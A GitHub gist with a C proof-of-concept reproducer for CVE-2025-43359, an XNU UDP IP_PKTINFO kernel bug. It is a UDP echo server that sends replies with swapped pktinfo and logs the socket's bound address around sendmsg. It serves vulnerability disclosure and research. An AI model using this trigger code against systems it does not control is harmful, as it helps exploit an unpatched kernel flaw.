Skip to content

Instantly share code, notes, and snippets.

@stek29
Last active October 13, 2025 17:00
Show Gist options
  • Select an option

  • Save stek29/a90f36ada04e0f1367a263865d520d79 to your computer and use it in GitHub Desktop.

Select an option

Save stek29/a90f36ada04e0f1367a263865d520d79 to your computer and use it in GitHub Desktop.
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>
#define BUFFER_SIZE 1024
#define CONTROL_BUFFER_SIZE 1024
// This is a PoC/reproducer for CVE-2025-43359
// See https://stek29.rocks/2025/10/13/xnu-udp-pktinfo-cve for the full report
void uslogf(const char *fmt, ...) {
va_list args;
va_start(args, fmt);
fprintf(stdout, "[%d] ", getpid());
vfprintf(stdout, fmt, args);
va_end(args);
}
void print_hex(const unsigned char *data, size_t len) {
for (size_t i = 0; i < len; ++i) {
if (i % 16 == 0)
fprintf(stdout, "[%d] ", getpid());
printf("%02x ", data[i]);
if ((i + 1) % 16 == 0)
printf("\n");
}
if (len % 16 != 0)
printf("\n");
}
void print_bound_address(int sockfd, const char *label) {
struct sockaddr_in addr;
socklen_t addrlen = sizeof(addr);
if (getsockname(sockfd, (struct sockaddr *)&addr, &addrlen) == 0) {
char ip[INET_ADDRSTRLEN];
inet_ntop(AF_INET, &addr.sin_addr, ip, sizeof(ip));
uslogf("[%s] Bound address: %s:%d\n", label, ip, ntohs(addr.sin_port));
} else {
perror("getsockname failed");
}
}
void print_control_messages(struct msghdr *msg) {
struct cmsghdr *cmsg;
for (cmsg = CMSG_FIRSTHDR(msg); cmsg != NULL; cmsg = CMSG_NXTHDR(msg, cmsg)) {
uslogf("control: level=%d, type=%d, len=%u\n", cmsg->cmsg_level,
cmsg->cmsg_type, (unsigned)cmsg->cmsg_len);
if (cmsg->cmsg_level == IPPROTO_IP && cmsg->cmsg_type == IP_PKTINFO) {
struct in_pktinfo *pktinfo = (struct in_pktinfo *)CMSG_DATA(cmsg);
char dst[INET_ADDRSTRLEN], spec[INET_ADDRSTRLEN];
inet_ntop(AF_INET, &pktinfo->ipi_addr, dst, sizeof(dst));
inet_ntop(AF_INET, &pktinfo->ipi_spec_dst, spec, sizeof(spec));
uslogf("addr: %s, spec_dst: %s (interface index: %d)\n", dst, spec,
pktinfo->ipi_ifindex);
}
}
}
int main(int argc, char *argv[]) {
if (argc != 3) {
fprintf(stderr, "Usage: %s <listen_addr> <port>\n", argv[0]);
return EXIT_FAILURE;
}
const char *listen_addr = argv[1];
int port = atoi(argv[2]);
int sockfd;
struct sockaddr_in server_addr, client_addr;
char buffer[BUFFER_SIZE];
char control_buffer[CONTROL_BUFFER_SIZE];
struct iovec iov[1];
struct msghdr msg;
struct cmsghdr *cmsg;
struct in_pktinfo *pktinfo;
socklen_t client_len = sizeof(client_addr);
if ((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) < 0) {
perror("socket failed");
exit(EXIT_FAILURE);
}
int opt = 1;
if (setsockopt(sockfd, IPPROTO_IP, IP_PKTINFO, &opt, sizeof(opt)) < 0) {
perror("setsockopt IP_PKTINFO failed");
close(sockfd);
exit(EXIT_FAILURE);
}
memset(&server_addr, 0, sizeof(server_addr));
server_addr.sin_family = AF_INET;
inet_pton(AF_INET, listen_addr, &server_addr.sin_addr);
server_addr.sin_port = htons(port);
if (bind(sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) {
perror("bind failed");
close(sockfd);
exit(EXIT_FAILURE);
}
uslogf("Listening on %s:%d\n", listen_addr, port);
print_bound_address(sockfd, "initial");
while (1) {
memset(&msg, 0, sizeof(msg));
memset(&client_addr, 0, sizeof(client_addr));
memset(control_buffer, 0, CONTROL_BUFFER_SIZE);
iov[0].iov_base = buffer;
iov[0].iov_len = sizeof(buffer);
msg.msg_name = &client_addr;
msg.msg_namelen = sizeof(client_addr);
msg.msg_iov = iov;
msg.msg_iovlen = 1;
msg.msg_control = control_buffer;
msg.msg_controllen = CONTROL_BUFFER_SIZE;
ssize_t n = recvmsg(sockfd, &msg, 0);
if (n < 0) {
perror("recvmsg failed");
continue;
}
uslogf("[recvmsg] control buffer (%u bytes):\n", msg.msg_controllen);
print_hex((unsigned char *)msg.msg_control, msg.msg_controllen);
print_control_messages(&msg);
pktinfo = NULL;
for (cmsg = CMSG_FIRSTHDR(&msg); cmsg != NULL;
cmsg = CMSG_NXTHDR(&msg, cmsg)) {
if (cmsg->cmsg_level == IPPROTO_IP && cmsg->cmsg_type == IP_PKTINFO) {
pktinfo = (struct in_pktinfo *)CMSG_DATA(cmsg);
break;
}
}
char client_ip[INET_ADDRSTRLEN];
inet_ntop(AF_INET, &client_addr.sin_addr, client_ip, sizeof(client_ip));
uslogf("received %zd bytes from %s:%d\n", n, client_ip,
ntohs(client_addr.sin_port));
print_hex((unsigned char *)buffer, n);
struct msghdr reply_msg;
struct iovec reply_iov[1];
char reply_ctrl[CONTROL_BUFFER_SIZE];
memset(&reply_msg, 0, sizeof(reply_msg));
memset(reply_ctrl, 0, sizeof(reply_ctrl));
reply_iov[0].iov_base = buffer;
reply_iov[0].iov_len = n;
reply_msg.msg_name = &client_addr;
reply_msg.msg_namelen = sizeof(client_addr);
reply_msg.msg_iov = reply_iov;
reply_msg.msg_iovlen = 1;
reply_msg.msg_control = reply_ctrl;
reply_msg.msg_controllen = CMSG_SPACE(sizeof(struct in_pktinfo));
struct cmsghdr *reply_cmsg = CMSG_FIRSTHDR(&reply_msg);
reply_cmsg->cmsg_level = IPPROTO_IP;
reply_cmsg->cmsg_type = IP_PKTINFO;
reply_cmsg->cmsg_len = CMSG_LEN(sizeof(struct in_pktinfo));
struct in_pktinfo *reply_pktinfo =
(struct in_pktinfo *)CMSG_DATA(reply_cmsg);
memset(reply_pktinfo, 0, sizeof(struct in_pktinfo));
if (pktinfo) {
reply_pktinfo->ipi_ifindex = pktinfo->ipi_ifindex;
reply_pktinfo->ipi_spec_dst = pktinfo->ipi_addr;
reply_pktinfo->ipi_addr = pktinfo->ipi_spec_dst;
}
uslogf("[sendmsg] control buffer (%u bytes):\n", reply_msg.msg_controllen);
print_hex((unsigned char *)reply_msg.msg_control, reply_msg.msg_controllen);
print_control_messages(&reply_msg);
print_bound_address(sockfd, "before sendmsg");
if (sendmsg(sockfd, &reply_msg, 0) < 0) {
perror("sendmsg failed");
} else {
uslogf("sent %zd bytes to %s:%d\n", n, client_ip,
ntohs(client_addr.sin_port));
print_hex((unsigned char *)buffer, n);
}
print_bound_address(sockfd, "after sendmsg");
}
close(sockfd);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment